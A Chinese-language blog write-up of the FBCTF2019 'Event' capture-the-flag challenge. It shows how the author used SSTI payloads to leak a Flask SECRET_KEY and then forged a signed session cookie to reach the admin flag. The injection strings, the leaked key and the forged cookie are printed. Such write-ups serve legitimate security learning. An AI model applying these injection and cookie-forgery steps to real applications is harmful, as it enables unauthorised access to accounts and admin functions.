打开是登录界面,看了一下源码,发现一段:
1 | <a class="nav-link" href="/flag">Admin panel</a> |
直接访问回显You have to login first.
;
dirsearch
扫了一下,没东西。
随便输入,抓包,发现response的 cookie
很奇怪:
1 | Set-Cookie: user=IjEi.YJ0wCw.D30Z1pNcejSaIIxNINFDz4E5dGw; Path=/ |
猜测是cookie
伪造,然后我就不会啦。
flask-session伪造
Flask
处理session
逻辑:
session
对象->json
字符串->base64
编码->签名校验
可以通过文件泄露、SSTI模板注入
{{config}}
进行读取secret_key
,进行伪造签名
即使在无法读取到
secret_key
的情况下,也可以通过解密客户端的session
进行分析
常用注入:
查找配置文件获取function
所处空间下可使用的module
、方法以及所有变量:
1 | __class__.__init__.__globals__ |
获取配置信息:
1 | __class__.__init__.__globals__[app].config |
发现secret_key
:
1 | SECRET_KEY:fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y |
脚本解一下:
1 | from flask import Flask |
得到:ImFkbWluIg.YJ6FsA.r9HHLldbGtTbJojLuURiO8L249U
编辑一下cookie
的user
提交得到答案。
Python
没学,还是理解起来很吃力,不过下学期再学吧。
Tips
1.python
后端->ssti
->flask
2.admin
单独的页面->cookie
伪造。
[参考]
http://www.bubuko.com/infodetail-3528100.html
Author: suyumen
Link: https://suyumen.github.io/2021/05/13/2021-05-13-[FBCTF2019]Event/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.